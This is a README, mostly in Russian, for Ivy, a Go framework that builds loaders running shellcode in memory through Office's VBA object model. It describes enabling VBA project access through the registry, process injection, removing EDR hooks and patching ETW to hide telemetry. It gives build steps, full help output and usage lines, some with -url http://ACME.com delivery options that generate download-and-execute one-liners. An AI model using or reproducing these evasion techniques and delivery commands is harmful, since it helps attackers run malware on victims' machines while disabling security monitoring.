
Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.
Чтобы просмотреть последнюю версию Ivy или сообщить о проблеме, обратитесь по адресу https://github.com/Tylous/Ivy.
Если вы хотите узнать больше о методах, используемых в этом фреймворке, а также о защитных мерах, которые помогут от него защититься, ознакомьтесь со Статьей.
Ivy — это фреймворк для создания полезных нагрузок, предназначенный для выполнения произвольного VBA (макрос) кода в памяти. Загрузчик Ivy делает это, злоупотребляя программным доступом к объектной среде VBA для загрузки, расшифровки и выполнения шелл-кода. Эта техника максимально приближена к истинному «безфайловому» подходу, поскольку большинство современных безфайловых атак требуют сброса каких-либо файлов на диск, тем самым обходя стандартные сигнатурные правила обнаружения VBA-кода. Обычные VBA-нагрузки имеют следующие характеристики:
Выполняясь исключительно в памяти, эти поведенческие характеристики усложняют обнаружение системами EDR.
Загрузчики Ivy шифруются с помощью RC4 (AES-шифрование создает много избыточного кода и требует много времени для расшифровки в VBA), а затем разбиваются на отдельные строки, предотвращая распознавание этих строк как зашифрованных в песочницах. Это также не позволяет механизмам декодирования воспринимать эти нагрузки как что-либо, кроме мусорных символов.
Загрузчик Ivy сначала выполняет запрос к реестру для включения «Доверять доступу к объектной модели проектов VBA». Это значение ключа реестра хранится в пользовательском режиме, что позволяет пользователю изменять его без необходимости повышенных привилегий. Значение реестра устанавливается с нуля на единицу; если ключ реестра не существует, Ivy создаст его со значением «1». При включенном значении разрешается программный доступ к объектной среде VBA из другого процесса.
После этого загрузчик запускает скрытый процесс Excel и загружает зашифрованные строки в функцию VBA. Это делается с помощью ActiveX для имитации GUI-действий, выполняющих ту же задачу. Это помогает обойти множество традиционных средств контроля выполнения. В результате функция расшифровки и шелл-код перемещаются из одного буфера памяти в другой, никогда не касаясь диска. Наконец, загрузчик использует команды GUI и выполняет функцию run, которая имитирует нажатие кнопки запуска макроса на GUI-панели VBA, запуская функцию расшифровки, а затем фактическое выполнение шелл-кода.
ВАЖНО
На целевом компьютере должен быть установлен и активирован Microsoft Office, так как Ivy использует программный доступ к среде VBA Microsoft Office.
Этот режим позволяет Ivy использовать низкоуровневые системные вызовы для создания собственной версии функции Windows WriteProcessMemory, косвенно обращаясь к прямому адресу памяти и значениям регистров. Ivy может перезаписывать участки памяти, которые не доступны для записи, без вызова каких-либо API-функций изменения памяти. Это возможно благодаря особенности WriteProcessMemory, которая временно изменяет права на область памяти на запись (если у вас есть достаточные привилегии, что у нас есть, так как мы владеем процессом). Она записывает значение и восстанавливает исходные права без вызова функции VirtualProtect, а вместо этого автоматически вызывает соответствующий системный вызов (NtProtectVirtualMemory).
Ivy не использует собственную версию NtWriteVirtualMemory, потому что в этом случае процесс временного изменения прав памяти не происходит, защита конкретного адреса памяти не изменяется, и выполнение завершается ошибкой. Это «функция», выпущенная Microsoft для повышения стабильности отладчиков. Поскольку отладчики хотят изменять память на лету, они могут просто изменить участок без необходимости выполнять несколько задач. (См. devblogs.microsoft.com для получения информации)
Давайте рассмотрим последовательность событий, которые увидит EDR:
После удаления всех хуков EDR загрузчик выполняет обычное действие для установки удаленной сессии.
Ivy решает эту задачу, снимая хуки с общих системных DLL, которые перехватывает EDR:
При использовании unhook с типом нагрузки Inject загрузчик Ivy сначала снимет хуки с процесса Office, удаляя EDR из него, а затем удалит хуки в инжектированном процессе. Это гарантирует, что оба процесса свободны от хуков, предотвращая отправку телеметрии от родительского и дочернего процессов в EDR.
Используя ту же технику для снятия хуков, Ivy может патчить функции ETW, предотвращая генерацию любых событий процессом. ETW использует встроенные системные вызовы для генерации этой телеметрии. Поскольку ETW является встроенной функцией Windows, продуктам безопасности не нужно «хукать» системные вызовы ETW для получения информации. В результате, чтобы предотвратить ETW, Ivy патчит многочисленные системные вызовы ETW, сбрасывая регистры и возвращая поток выполнения к следующей инструкции. Пэтчинг ETW теперь включен по умолчанию во всех загрузчиках; если вы не хотите патчить ETW, используйте опцию командной строки -noetw, чтобы отключить это в вашем загрузчике.
Ivy разработан на Go.
Первый шаг, как всегда, — клонировать репозиторий. Перед компиляцией Ivy вам нужно установить зависимости. Для их установки выполните следующие команды:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Затем соберите его:
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
При генерации загрузчика с помощью Ivy вам нужно создать 64- и 32-битные нагрузки и передать их через аргументы командной строки -Ix64 и -Ix86. Это связано с тем, что операционная система может быть 64-битной, но установленная версия Office может быть 32-битной; в результате Ivy определит подходящую архитектуру перед инжекцией полезной нагрузки.
Кроме того, при генерации загрузчика есть два типа нагрузок. Первый, Inject, выполняет атаку инжекции процесса: создается новый процесс в приостановленном состоянии, в него внедряется шелл-код, после чего процесс возобновляется. Хотя инжекция процесса может быть полезна и создает не-Excel процесс, EDR очень хорошо умеют обнаруживать создание приостановленного процесса для инжекции, что может нас выдать. Более скрытный вариант — Local. Он загружает шелл-код непосредственно в текущий процесс Office. Вариант Local также включает дополнительные функции для избежания обнаружения, используя прямые вызовы к некоторым системным вызовам Windows. Это возможно благодаря среде VBA, которая позволяет нам определять и вызывать точную функцию (при условии, что мы предварительно правильно настроили все регистры) на основе стека. Наконец, загрузчик Ivy в этом типе нагрузки имеет недокументированный вызов для выполнения шелл-кода, что усложняет его обнаружение.
В режиме Inject Ivy создает процесс в приостановленном состоянии для инжекции шелл-кода. В зависимости от того, 32-битная или 64-битная система, будет запущен разный процесс. Ivy поставляется с некоторыми именами процессов по умолчанию, но их можно изменить с помощью флагов process32 или process64. При указании пути убедитесь, что используете \\ в пути.
Прежде всего, ВСЕГДА СЛЕДУЕТ ИСПОЛЬЗОВАТЬ аргумент -stageless. Однако, если вам когда-нибудь понадобится запустить стейджовую нагрузку, вы можете сделать это, не используя -stageless. При использовании -stageless можно использовать raw-шелл-код, однако, если вы решите запустить стейджовую нагрузку, важно, чтобы для типов нагрузок Inject шелл-код был отформатирован в VBA, а для типов Local — в C.
Аргумент командной строки delivery позволяет сгенерировать команду или строку кода (в случае макроса) для удаленного получения файла с удаленного источника на хост жертвы. Эти методы доставки включают:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
В настоящее время существует известная проблема со снятием хуков с удаленного инжектированного процесса. Временное решение — загрузить BOF unhook.